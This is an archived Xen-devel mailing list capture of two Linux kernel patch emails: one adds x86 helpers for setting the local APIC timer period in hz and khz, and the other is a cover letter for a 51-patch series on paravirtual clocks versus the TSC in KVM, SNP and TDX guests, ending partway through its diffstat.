List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934346; x=1783539146; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=esF5eJj/7ACJs9NShhG3o0+XzSBpzRsvPz4C7FhhKMM=;
        b=gbdGjLPvfSHGpnVGpCwK7ucojnV45lSdH+Lk6BO1No0nRwZavh8NOnaS9xwxrVSUXE
         UKdqxnMsYhWoqj/nIUbM9LSUjZ0iXgvN6d/qN0MkU6plvKrkwJ4wp3nao5phv+y9Gtsn
         cG8Z10qjKoBfQ+9fgdAD5mE9NsvU2uDW0eLnKvprKI6k7XSaw663hdOJgSZnKS2LddGx
         7kvQJGJN9QsIeMcKg67ceih1NTnAdBvpkmPscJlI6AAI5l+XDXtdZgUjyhBAsp8pN1cQ
         2h7fCh6OGZbg5aYcJLv1Ddeal1uJkTMMo4wLZx1fkyv8t9wPDl8kq2pWG8Y2JFthJQat
         /W0A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934346; x=1783539146;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=esF5eJj/7ACJs9NShhG3o0+XzSBpzRsvPz4C7FhhKMM=;
        b=VXCxBsF8BhG427lMR8CuLR+esaGE2ZK+mJWQGnU8g5jrR23Xr80zf23ZH8Oh/4sXjv
         Jx0f/2pNMnrCn66oxcarM5g50p2ZfoFdXgmH5z5Bm33yiEHPdStbGdnhJJ66W/t45aRE
         bbvqdNPagI9VeufmOWxHlvJ0ImoVawJ39yRaDBajGPvvqR2GdpuE8pyoCEyQaLAfcCXq
         Wy6nZZJvL0ZN8DmcnsvJN93uc9YNMcD2EVPcX3xwy4Au2QrS3ZCYNY1HzcsUAcOqig1S
         VBP3/DNfun1TlPJYjoyOluR2lzjXKG4ByOfdPeY4e23DWdmCbMYzHD8qRddJ0nAxWmxS
         ymhA==
X-Forwarded-Encrypted: i=1; AHgh+RpgXwACTmF8tJwt8dHwWZiyay5TdhXGy38D3TjidMjVh32Bua/YRlxakYOI8rjbvV1eCp1s2K7LZeM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzVZd4amDY+iqn7uZFCZiGjL09wCReGjZI6Y6fa5bV+vaaQd7jk
	8w0jKmHVT47MqgmQc5gwnjOcaf7tdP2AJinoLnhJsAFhKaGgiZuqrIjJMZj/tRiaQbvTntYIU21
	Iev8rEg==
X-Received: from plfz4.prod.google.com ([2002:a17:902:d544:b0:2c7:f3dc:ae29])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:e811:b0:2c9:f73d:4b38
 with SMTP id d9443c01a7336-2ca7e6db91bmr32521425ad.19.1782934345724; Wed, 01
 Jul 2026 12:32:25 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:22 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-2-seanjc@google.com>
Subject: [PATCH v5 01/51] x86/apic: Provide helpers to set local APIC timer
 period in hz and khz
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-4011c0/1782934348-D7935DDE-2F08127A/0/0
X-purgate-type: clean
X-purgate-size: 5605

Add and use APIs to set the local APIC timer period instead of open coding
the subtle HZ math in a all external callers, and make lapic_timer_period
local to apic.c.  Provide APIs to specify the frequency in both hertz and
kilohertz so that Hyper-V and VMware code aren't forced to lose precision.

Opportunistically use mul_u64_u32_div() to harden against the possibility
that the period in Khz is greater than 4294967, i.e. if the APIC timer runs
at ~4.29 GHz.  As pointed out by Sashiko, 4294968 * 1000 == 0x1_000002c0,
and thus a Khz period of 4294968 would silently overflow the 32-bit
unsigned integer used by most callers.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/apic.h    |  3 ++-
 arch/x86/kernel/apic/apic.c    | 12 +++++++++++-
 arch/x86/kernel/cpu/mshyperv.c |  5 +----
 arch/x86/kernel/cpu/vmware.c   |  4 +---
 arch/x86/kernel/jailhouse.c    |  2 +-
 arch/x86/kernel/tsc.c          |  2 +-
 arch/x86/kernel/tsc_msr.c      |  2 +-
 7 files changed, 18 insertions(+), 12 deletions(-)

diff --git a/arch/x86/include/asm/apic.h b/arch/x86/include/asm/apic.h
index 9cd493d467d4..cd84a94688a2 100644
--- a/arch/x86/include/asm/apic.h
+++ b/arch/x86/include/asm/apic.h
@@ -63,7 +63,6 @@ extern int apic_verbosity;
 extern int local_apic_timer_c2_ok;
 
 extern bool apic_is_disabled;
-extern unsigned int lapic_timer_period;
 
 extern enum apic_intr_mode_id apic_intr_mode;
 enum apic_intr_mode_id {
@@ -138,6 +137,8 @@ void register_lapic_address(unsigned long address);
 extern void setup_boot_APIC_clock(void);
 extern void setup_secondary_APIC_clock(void);
 extern void lapic_update_tsc_freq(void);
+extern void apic_set_timer_period_hz(u64 period_hz, const char *source);
+extern void apic_set_timer_period_khz(u64 period_khz, const char *source);
 
 #ifdef CONFIG_X86_64
 static inline bool apic_force_enable(unsigned long addr)
diff --git a/arch/x86/kernel/apic/apic.c b/arch/x86/kernel/apic/apic.c
index aa1e19979aa8..8d3d930576fd 100644
--- a/arch/x86/kernel/apic/apic.c
+++ b/arch/x86/kernel/apic/apic.c
@@ -176,7 +176,7 @@ static struct resource lapic_resource = {
 };
 
 /* Measured in ticks per HZ. */
-unsigned int lapic_timer_period = 0;
+static unsigned int lapic_timer_period;
 
 static void apic_pm_activate(void);
 
@@ -796,6 +796,16 @@ bool __init apic_needs_pit(void)
 	return lapic_timer_period == 0;
 }
 
+void apic_set_timer_period_khz(u64 period_khz, const char *source)
+{
+	lapic_timer_period = mul_u64_u32_div(period_khz, 1000, HZ);
+}
+
+void apic_set_timer_period_hz(u64 period_hz, const char *source)
+{
+	lapic_timer_period = div_u64(period_hz, HZ);
+}
+
 static int __init calibrate_APIC_clock(void)
 {
 	struct clock_event_device *levt = this_cpu_ptr(&lapic_events);
diff --git a/arch/x86/kernel/cpu/mshyperv.c b/arch/x86/kernel/cpu/mshyperv.c
index 185d4f677ec0..87beecec76f0 100644
--- a/arch/x86/kernel/cpu/mshyperv.c
+++ b/arch/x86/kernel/cpu/mshyperv.c
@@ -646,10 +646,7 @@ static void __init ms_hyperv_init_platform(void)
 		u64	hv_lapic_frequency;
 
 		rdmsrq(HV_X64_MSR_APIC_FREQUENCY, hv_lapic_frequency);
-		hv_lapic_frequency = div_u64(hv_lapic_frequency, HZ);
-		lapic_timer_period = hv_lapic_frequency;
-		pr_info("Hyper-V: LAPIC Timer Frequency: %#x\n",
-			lapic_timer_period);
+		apic_set_timer_period_hz(hv_lapic_frequency, "Hyper-V hypervisor");
 	}
 
 	register_nmi_handler(NMI_UNKNOWN, hv_nmi_unknown, NMI_FLAG_FIRST,
diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c
index 34b73573b108..36f779dd311d 100644
--- a/arch/x86/kernel/cpu/vmware.c
+++ b/arch/x86/kernel/cpu/vmware.c
@@ -424,9 +424,7 @@ static void __init vmware_platform_setup(void)
 
 #ifdef CONFIG_X86_LOCAL_APIC
 		/* Skip lapic calibration since we know the bus frequency. */
-		lapic_timer_period = ecx / HZ;
-		pr_info("Host bus clock speed read from hypervisor : %u Hz\n",
-			ecx);
+		apic_set_timer_period_hz(ecx, "VMware hypervisor");
 #endif
 	} else {
 		pr_warn("Failed to get TSC freq from the hypervisor\n");
diff --git a/arch/x86/kernel/jailhouse.c b/arch/x86/kernel/jailhouse.c
index f58ce9220e0f..f2d4ef89c085 100644
--- a/arch/x86/kernel/jailhouse.c
+++ b/arch/x86/kernel/jailhouse.c
@@ -65,7 +65,7 @@ static void jailhouse_get_wallclock(struct timespec64 *now)
 
 static void __init jailhouse_timer_init(void)
 {
-	lapic_timer_period = setup_data.v1.apic_khz * (1000 / HZ);
+	apic_set_timer_period_khz(setup_data.v1.apic_khz, "Jailhouse hypervisor");
 }
 
 static unsigned long jailhouse_get_tsc(void)
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index ce10ae4b298b..f9ecc9256863 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -717,7 +717,7 @@ unsigned long native_calibrate_tsc(void)
 	 * lapic_timer_period here to avoid having to calibrate the APIC
 	 * timer later.
 	 */
-	lapic_timer_period = crystal_khz * 1000 / HZ;
+	apic_set_timer_period_khz(crystal_khz, "CPUID 0x15/0x16");
 #endif
 
 	return crystal_khz * ebx_numerator / eax_denominator;
diff --git a/arch/x86/kernel/tsc_msr.c b/arch/x86/kernel/tsc_msr.c
index 48e6cc1cb017..7e990871e041 100644
--- a/arch/x86/kernel/tsc_msr.c
+++ b/arch/x86/kernel/tsc_msr.c
@@ -211,7 +211,7 @@ unsigned long cpu_khz_from_msr(void)
 		pr_err("Error MSR_FSB_FREQ index %d is unknown\n", index);
 
 #ifdef CONFIG_X86_LOCAL_APIC
-	lapic_timer_period = (freq * 1000) / HZ;
+	apic_set_timer_period_khz(freq, "MSR_FSB_FREQ");
 #endif
 
 	/*
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350363.1607808 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fc-0007Zr-MV; Wed, 01 Jul 2026 19:32:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350363.1607808; Wed, 01 Jul 2026 19:32:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fc-0007Zk-Jr; Wed, 01 Jul 2026 19:32:28 +0000
Received: by outflank-mailman (input) for mailman id 1350363;
 Wed, 01 Jul 2026 19:32:28 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3SGtFagYKCY09vr40tx55x2v.t53Ev4-uvCv22z9A9.Ev46850vtA.58x@flex--seanjc.bounces.google.com>)
 id 1wf0fc-0007Ze-26
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fb-004o0g-BE
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:27 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3SGtFagYKCY09vr40tx55x2v.t53Ev4-uvCv22z9A9.Ev46850vtA.58x@flex--seanjc.bounces.google.com>)
 id 6a456b44-2eae-0a2a0a5409dd-0a2a4509ddee-18
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:27 +0200
Received: from [209.85.215.201] (helo=mail-pg1-f201.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3SGtFagYKCY09vr40tx55x2v.t53Ev4-uvCv22z9A9.Ev46850vtA.58x@flex--seanjc.bounces.google.com>)
 id 6a456b49-97e6-0a2a45090019-d155d7c9f06b-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:26 +0200
Received: by mail-pg1-f201.google.com with SMTP id
 41be03b00d2f7-c88da04b719so795266a12.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:Mime-Version:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934345; x=1783539145; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:mime-version:date
         :reply-to:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=Q5DLB1BjKje3f1c5FruZIw3+wsrQVQC55+bIjsMSwHk=;
        b=JpFMN4mPtJD46ArcdgAMsPMZlVGQOXA/fBCFWCnpab2xVVaxbSRGfH698Hzdy9fYY7
         tv7IhdyQEPk971zAuAnJU0bEFM5X13FjqXwNDT1ucHNOym2K4ceo/V6Manl5LaH3UBUv
         DXljgQnXZ954da359zQWS0/oo6J1JPPjb45HBiPrfYNfuvZFrCttGDGvS4CknwKmBWkb
         ZQP9CX4zTid60oPIoSRTvHvBxFENVcnwFhS4P6C8s0dR5pRy7IcQDAWp2g2AlyyadiuJ
         yytp0UHh/81RZshdHrbX0g3bLXTBba1xbyvEE7pQAsUQjMZOIngmKczqCjJYgIXg4KVE
         xO8g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934345; x=1783539145;
        h=content-type:cc:to:from:subject:message-id:mime-version:date
         :reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=Q5DLB1BjKje3f1c5FruZIw3+wsrQVQC55+bIjsMSwHk=;
        b=hWvW1Ie0z9yqMFYUV8LNxK54w/y9Mi4JV9AkL52CDVeJGgi/XnETGMOlG4/8hBgtKJ
         EUR9rNCM5gykoSuro9twlNbBXukrqjS/hW7rB5a/Hyf8QrUqg8Qkik1qqX7opj6SW/hx
         qVjMBQR8BtXzG84mj1xMC4yZMmBfPD5GtpMD7/0REd9dxHJIPAQ6Y4ZbHskPNEh+rTt0
         YXoFq9wXCcWkrIElXlAt4B0V4mXyCzeqMwhkJbmnD78QaWn2JiEsGuaII47hX1M1USjm
         YncIYzGGYv3rcBDfDUb9U/tTme0PJqZ/mrnNdWUe36+OwOIocbsv937jvvelmQSaYMz+
         uSfQ==
X-Forwarded-Encrypted: i=1; AHgh+RoCmppyAUWlHpTmiymMlVOS1CxYP1DQLTMZUbp8rdMx94yiiUUSj0jVQOwmiy9EE1FfA7Ad7hNYZnE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YytNaNWf8YtTac8Ctw6AWnE8dHb6oOvs31dgbgZh/8Egy7Fm72b
	feiQZF9dI6I6zsRFBw43hc9ZNm0JwocAquN5ZsjVVOqRGsFQa54u7/0NFu+6SU5N5CWEQaZmOVt
	MsydxTw==
X-Received: from pjtl15.prod.google.com ([2002:a17:90a:c58f:b0:380:5553:77a7])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:52:b0:37f:9ce1:735e
 with SMTP id 98e67ed59e1d1-380ba94a46bmr2041513a91.31.1782934344390; Wed, 01
 Jul 2026 12:32:24 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:21 -0700
Mime-Version: 1.0
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-1-seanjc@google.com>
Subject: [PATCH v5 00/51] x86: Try to wrangle PV clocks vs. TSC
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934347-44528986-E2D4D8F7/0/0
X-purgate-type: clean
X-purgate-size: 11040

The primary goal of this series to fix flaws with SNP and TDX guests where a
PV clock provided by the untrusted hypervisor is used instead of the secure
TSC that is controlled by trusted firmware.

The secondary goal is modernize running under KVM.  Currently, KVM guests will
use TSC for clocksource, but not sched_clock.  And Linux-as-a-KVM-guest doesn't
support paravirt enumeration of the TSC/APIC frequencies, even though QEMU
provides that information by default.

The tertiary goal is to clean up the PV clock code to deduplicate logic across
hypervisors, and to hopefully make it all easier to maintain going forward.

The quaternary goal is to clean up the TSC calibration code, which was made
stupidly hard to follow by hypervisor code mixing in with the native
calibration routines, instead of being implemented as a pure alternative.

Note, the VMware and Xen changes still probably should get acks from those
maintainers, as my understanding of what they're trying to do may be flawed.

Lots more background on the SNP/TDX motiviation:
https://lore.kernel.org/all/20250106124633.1418972-13-nikunj@amd.com

As before, I deliberately omitted jailhouse-dev@googlegroups.com from the To/Cc,
as those emails bounced on v1, AFAICT nothing has changed.

v5:
 - Use cpu_feature_enabled() instead of boot_cpu_has(). [Boris]
 - WARN if recalibrate_cpu_khz() runs on a system with TSC_KNOWN_FREQ. [Thomas]
 - Opportunistically drop a line break in native_calibrate_tsc(). [Thomas]
 - Rely on callers of cpuid_get_tsc_info() to check the result instead of
   unnecessarily zeroing the structure. [Boris]
 - Ignore tsc_early_khz if the TSC frequency is provided by trusted firmware
   or by the hypervisor. [Thomas, Sashiko]
 - Cache CPUID output in acrn_init_platform() to avoid introducing a transient
   bug where TSC_KNOWN_FREQ could be set even if the ACRN hypervisor didn't
   actually provide the frequency. [Sashiko]
 - Drop kvmclock's useless/dead check_tsc_unstable() call (it occurs before the
   command line parameter is parsed). [Sashiko]
 - Add helpers to set lapic_timer_period, to fix not-so-theoretical overflow
   in the various "khz * 1000 / HZ" patterns. [Sashiko]
 - Drop the "x86/xen: Obtain TSC frequency from CPUID if present" patch as it
   doesn't have any dependencies/conflicts on/with this series, and Sashiko had
   concerns about the assumptions it was making. [Sashiko]
 - Collect reviews. [David] (Kirill's got dropped because the patch he reviewed
   got completely rewritten).


v4:
 - Use x86_init_noop() to skip save/restore on VMware and Xen instead of
   nullifying x86_platform.{save,restore}_sched_clock_state. [Sashiko]
 - Use '0' to indicate "failure" when getting the CPU frequency from CPUID, to
   avoid using an out-param and thus make it all but impossible to
   unintentionally clobber the global cpu_khz (which v3 did). [Sashiko]
 - Rename cpuid_get_cpu_freq() => __cpu_khz_from_cpuid() to capture its
   relationship with cpu_khz_from_cpuid().
 - Compute lapic_timer_period in units of ticks, not Khz. [Sashiko]
 - Kill off x86_platform_ops.calibrate_{cpu,tsc}(), and instead use dedicated
   hooks for hypervisor code, and direct calls for TDX and SNP. [David, loosely]
 - Drop SNP's secure TSC override of _CPU_ calibration, as there's zero
   evidence it's justified or a net positive.
 - Collect reviews/acks. [David, Wei]
 - Decouple getting TSC/APIC frequencies from KVM PV CPUID from kvmclock. [David]
 - Fix an amusing number of Opportunistically misspellings. [David]
 - Set kvm_sched_clock_offset _before_ registering kvmclock as sched_clock,
   and add a comment to guard against future goofs. [Sashiko]
 - Keep "setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE)" in Hyper-V's handling
   of HV_ACCESS_TSC_INVARIANT, as it's technically possible to have a VM
   with HV_ACCESS_TSC_INVARIANT but not HV_ACCESS_FREQUENCY_MSRS.  Though as
   a _very_ nice side effect of using dedicated sequencing for selecting the
   TSC frequency source, this would have naturally happened anyways. [Sashiko]

v3:
 - https://lore.kernel.org/all/20260515191942.1892718-1-seanjc@google.com
 - Collect reviews. [Michael, Thomas]
 - Use Hyper-V reference counter / refcounter instead of Hyper-V timer. [Michael]
 - Use the paravirt CPUID interface first proposed by VMware for KVM's
   "official" mechanism for communicating frequency to KVM-aware guests,
   instead of abusing Intel's CPUID leafs. [David]
 - Deal with paravirt code being moved into asm/timers.h and
   arch/x86/kernel/tsc.c.

v2:
 - https://lore.kernel.org/all/Z8YWttWDtvkyCtdJ@google.com
 - Add struct to hold the TSC CPUID output. [Boris]
 - Don't pointlessly inline the TSC CPUID helpers. [Boris]
 - Fix a variable goof in a helper, hopefully for real this time. [Dan]
 - Collect reviews. [Nikunj]
 - Override the sched_clock save/restore hooks if and only if a PV clock
   is successfully registered.
 - During resome, restore clocksources before reading persistent time.
 - Clean up more warts created by kvmclock.
 - Fix more bugs in kvmclock's suspend/resume handling.
 - Try to harden kvmclock against future bugs.

v1: https://lore.kernel.org/all/20250201021718.699411-1-seanjc@google.com

David Woodhouse (2):
  KVM: x86: Officially define CPUID 0x40000010 as PV Timing Info (TSC
    and Bus)
  x86/kvm: Obtain TSC frequency from PV CPUID if present

Sean Christopherson (49):
  x86/apic: Provide helpers to set local APIC timer period in hz and khz
  x86/apic: Add CONFIG_X86_LOCAL_APIC=n stubs for
    apic_set_timer_period_{,k}hz()
  x86/tsc: Ensure that TSC recalibration doesn't run if TSC frequency is
    known
  x86/tsc: Restrict recalibrate_cpu_khz() export to p4-clockmod and
    powernow-k7
  x86/sev: Mark TSC as reliable when configuring Secure TSC
  x86/sev: Don't override CPU frequency calibration for SNP's Secure TSC
  x86/sev: Move check for SNP Secure TSC support to tsc_early_init()
  x86/sev: Shove SNP's secure/trusted TSC frequency directly into
    "calibration"
  x86/tsc: Add a standalone helper for getting TSC info from CPUID.0x15
  x86/tdx: Force TSC frequency with CPUID-based info provided by the
    TDX-Module
  x86/tsc: Add dedicated hypervisor hooks for getting known TSC/CPU
    frequencies
  x86/acrn: Register TSC/CPU frequency callbacks iff frequency is
    actually in CPUID
  x86/acrn: Mark TSC frequency as known when using ACRN for calibration
  x86/tsc: Consolidate forcing of X86_FEATURE_TSC_KNOWN_FREQ for PV code
  x86/tsc: Kill off x86_platform_ops.calibrate_{cpu,tsc}() hooks
  x86/tsc: Rename pit_hpet_ptimer_calibrate_cpu() =>
    native_calibrate_cpu_late()
  x86/tsc: Fold native_calibrate_cpu() into recalibrate_cpu_khz()
  x86/kvmclock: Rename kvm_get_tsc_khz() to kvmclock_get_tsc_khz()
  x86/kvmclock: Drop dead check on TSC being unstable during
    kvmclock_init()
  x86/kvm: Mark TSC as reliable when it's constant and nonstop
  x86/tsc: Add standalone helper for getting CPU frequency from CPUID
  x86/kvm: Get CPU base frequency from CPUID when it's available
  clocksource: hyper-v: Register sched_clock save/restore iff it's
    necessary
  clocksource: hyper-v: Drop wrappers to sched_clock save/restore
    helpers
  clocksource: hyper-v: Don't save/restore TSC offset when using HV
    sched_clock
  x86/kvmclock: Setup kvmclock for secondary CPUs iff CONFIG_SMP=y
  x86/kvm: Don't disable kvmclock on BSP in syscore_suspend()
  x86/paravirt: Remove unnecessary PARAVIRT=n stub for
    paravirt_set_sched_clock()
  x86/paravirt: Move handling of unstable PV clocks into
    paravirt_set_sched_clock()
  x86/kvmclock: Move sched_clock save/restore helpers up in kvmclock.c
  x86/xen/time: NOP-ify x86_platform's sched_clock save/restore hooks
  x86/vmware: NOP-ify save/restore hooks when using VMware's sched_clock
  x86/tsc: WARN if TSC sched_clock save/restore used with PV sched_clock
  x86/paravirt: Pass sched_clock save/restore helpers during
    registration
  x86/kvmclock: Move kvm_sched_clock_init() down in kvmclock.c
  x86/xen/time: Mark xen_setup_vsyscall_time_info() as __init
  x86/pvclock: Mark setup helpers and related various as
    __init/__ro_after_init
  x86/pvclock: WARN if pvclock's valid_flags are overwritten
  x86/kvmclock: Refactor handling of PVCLOCK_TSC_STABLE_BIT during
    kvmclock_init()
  timekeeping: Resume clocksources before reading persistent clock
  x86/kvmclock: Hook clocksource.suspend/resume when kvmclock isn't
    sched_clock
  x86/kvmclock: WARN if wall clock is read while kvmclock is suspended
  x86/paravirt: Mark __paravirt_set_sched_clock() as __init
  x86/paravirt: Plumb a return code into __paravirt_set_sched_clock()
  x86/paravirt: Don't use a PV sched_clock in CoCo guests with trusted
    TSC
  x86/kvmclock: Use TSC for sched_clock if it's constant and non-stop
  x86/kvmclock: Plumb in AP-online and BSP-resume to kvmlock, for
    documentation
  x86/paravirt: Move using_native_sched_clock() stub into timer.h
  x86/kvm: Get local APIC bus frequency from PV CPUID Timing Info

 .../admin-guide/kernel-parameters.txt         |   5 +
 Documentation/virt/kvm/x86/cpuid.rst          |  12 +
 arch/x86/coco/sev/core.c                      |  21 +-
 arch/x86/coco/tdx/tdx.c                       |  19 +-
 arch/x86/include/asm/acrn.h                   |   5 -
 arch/x86/include/asm/apic.h                   |   5 +-
 arch/x86/include/asm/kvm_para.h               |  12 +-
 arch/x86/include/asm/sev.h                    |   4 +-
 arch/x86/include/asm/tdx.h                    |   2 +
 arch/x86/include/asm/timer.h                  |  15 +-
 arch/x86/include/asm/tsc.h                    |  10 +-
 arch/x86/include/asm/x86_init.h               |   8 +-
 arch/x86/include/uapi/asm/kvm_para.h          |  11 +
 arch/x86/kernel/apic/apic.c                   |  12 +-
 arch/x86/kernel/cpu/acrn.c                    |  14 +-
 arch/x86/kernel/cpu/mshyperv.c                |  70 +-----
